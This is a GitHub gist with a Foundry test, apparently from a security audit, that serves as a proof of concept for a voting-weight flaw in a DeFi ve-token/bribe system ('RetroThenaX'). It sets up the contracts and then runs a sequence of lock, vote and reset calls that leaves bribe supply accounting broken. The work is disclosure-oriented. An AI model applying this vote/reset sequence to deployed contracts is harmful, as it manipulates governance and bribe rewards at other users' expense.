-
-
Save deadrosesxyz/7b2407529757a392945a60c57b0148db to your computer and use it in GitHub Desktop.
RetroThenaX issue
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.13; | |
import "forge-std/console.sol"; | |
import "forge-std/Test.sol"; | |
import {MyERC20} from "../MyERC20.sol"; | |
import {VoterV3} from "../VoterV3.sol"; | |
import {VotingEscrow} from "../VotingEscrow.sol"; | |
import {PairFactory} from "../PairFactory.sol"; | |
import {MaGaugeV2Upgradeable} from "../MaGaugeV2Upgradeable.sol"; | |
import {GaugeFactoryV3} from "../GaugeFactoryV3.sol"; | |
import {MinterUpgradeable} from "../MinterUpgradeable.sol"; | |
import {Pair} from "../Pair.sol"; | |
import {BribeFactoryV3} from "../BribeFactoryV3.sol"; | |
import {BribesV2Upgradeable} from "../BribesV2Upgradeable.sol"; | |
import {IBribe} from "../interfaces/IBribe.sol"; | |
contract MyTest is Test { | |
MyERC20 public token; | |
VoterV3 public voter; | |
VotingEscrow public escrow; | |
PairFactory public pairFactory; | |
MaGaugeV2Upgradeable public gauge; | |
GaugeFactoryV3 public gaugeFactory; | |
MinterUpgradeable public minter; | |
Pair public pair; | |
Pair public pair2; | |
BribeFactoryV3 public bribeFactory; | |
BribesV2Upgradeable public bribe; | |
MyERC20 public pairToken1; | |
MyERC20 public pairToken2; | |
MyERC20 public pairToken3; | |
MyERC20 public pairToken4; | |
address public owner = address(1); | |
address public user = address(2); | |
function setUp() public { | |
token = new MyERC20(); | |
pairToken1 = new MyERC20(); | |
pairToken2 = new MyERC20(); | |
pairToken3 = new MyERC20(); | |
pairToken4 = new MyERC20(); | |
pairFactory = new PairFactory(); | |
gauge = new MaGaugeV2Upgradeable(); | |
gaugeFactory = new GaugeFactoryV3(); | |
gaugeFactory.initialize(address(gauge)); | |
escrow = new VotingEscrow(); | |
escrow.initialize(address(token), address(0), address(0)); | |
voter = new VoterV3(); | |
voter.initialize(address(escrow), address(pairFactory), address(gaugeFactory), address(0)); | |
voter.addFactory(address(pairToken1), address(pairToken2)); // @audit - putting random address with bytecode cause of restriction | |
escrow.setVoter(address(voter)); | |
minter = new MinterUpgradeable(); | |
minter.initialize(address(voter), address(escrow), address(0)); | |
minter._initialize(0); | |
minter.setTeam(address(1999)); | |
pair = Pair(pairFactory.createPair(address(pairToken1), address(pairToken2), false)); | |
pair2 = Pair(pairFactory.createPair(address(pairToken3), address(pairToken4), false)); | |
bribe = new BribesV2Upgradeable(); | |
bribeFactory = new BribeFactoryV3(); | |
bribeFactory.initialize(address(voter), address(bribe)); | |
voter.setBribeFactory(address(bribeFactory)); | |
voter.setMinter(address(minter)); | |
token.mint(owner, 10000 ether); | |
token.mint(user, 10000 ether); | |
} | |
function test_infiniteVotingWeightPOC() public { | |
vm.startPrank(user); | |
token.approve(address(escrow), 4 ether); | |
uint id1 = escrow.create_lock(1e9, 52 weeks); | |
uint id2 = escrow.create_lock(1e9, 52 weeks); | |
uint id3 = escrow.create_lock(2 ether, 52 weeks); | |
vm.stopPrank(); | |
voter.createGauge(address(pair), 0); | |
voter.createGauge(address(pair2), 0); | |
address gauge1 = voter.gauges(address(pair)); | |
IBribe bribe1 = IBribe(voter.external_bribes(gauge1)); | |
bribe1.addRewardToken(address(token)); | |
address gauge2 = voter.gauges(address(pair2)); | |
IBribe bribe2 = IBribe(voter.external_bribes(gauge2)); | |
vm.startPrank(user); | |
address[] memory pools = new address[](1); | |
address[] memory pools2 = new address[](1); | |
uint256[] memory weights = new uint256[](1); | |
pools[0] = address(pair); | |
pools2[0] = address(pair2); | |
weights[0] = 1; | |
voter.vote(id1, pools, weights); | |
voter.vote(id2, pools2, weights); | |
skip(1 weeks + 2); | |
minter.update_period(); | |
voter.vote(id3, pools, weights); | |
voter.reset(id1); | |
console.log("bribe1 totalsupply prior to vote reset: ", bribe1.totalSupply()); | |
voter.reset(id3); | |
console.log("bribe1 totalsupply after all votes reset: ", bribe1.totalSupply()); | |
voter.vote(id3, pools2, weights); | |
voter.reset(id2); | |
console.log("bribe2 totalsupply prior to vote reset: ", bribe2.totalSupply()); | |
voter.reset(id3); | |
console.log("bribe2 totalsupply after all votes reset: ", bribe2.totalSupply()); | |
console.log("<---------------->"); | |
console.log("End results: "); | |
console.log("bribe1 totalsupply: ", bribe1.totalSupply()); | |
console.log("bribe2 totalsupply: ", bribe2.totalSupply()); | |
console.log("has id1 voted: ", escrow.voted(id1)); | |
console.log("has id2 voted: ", escrow.voted(id2)); | |
console.log("has id3 voted: ", escrow.voted(id3)); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Logs: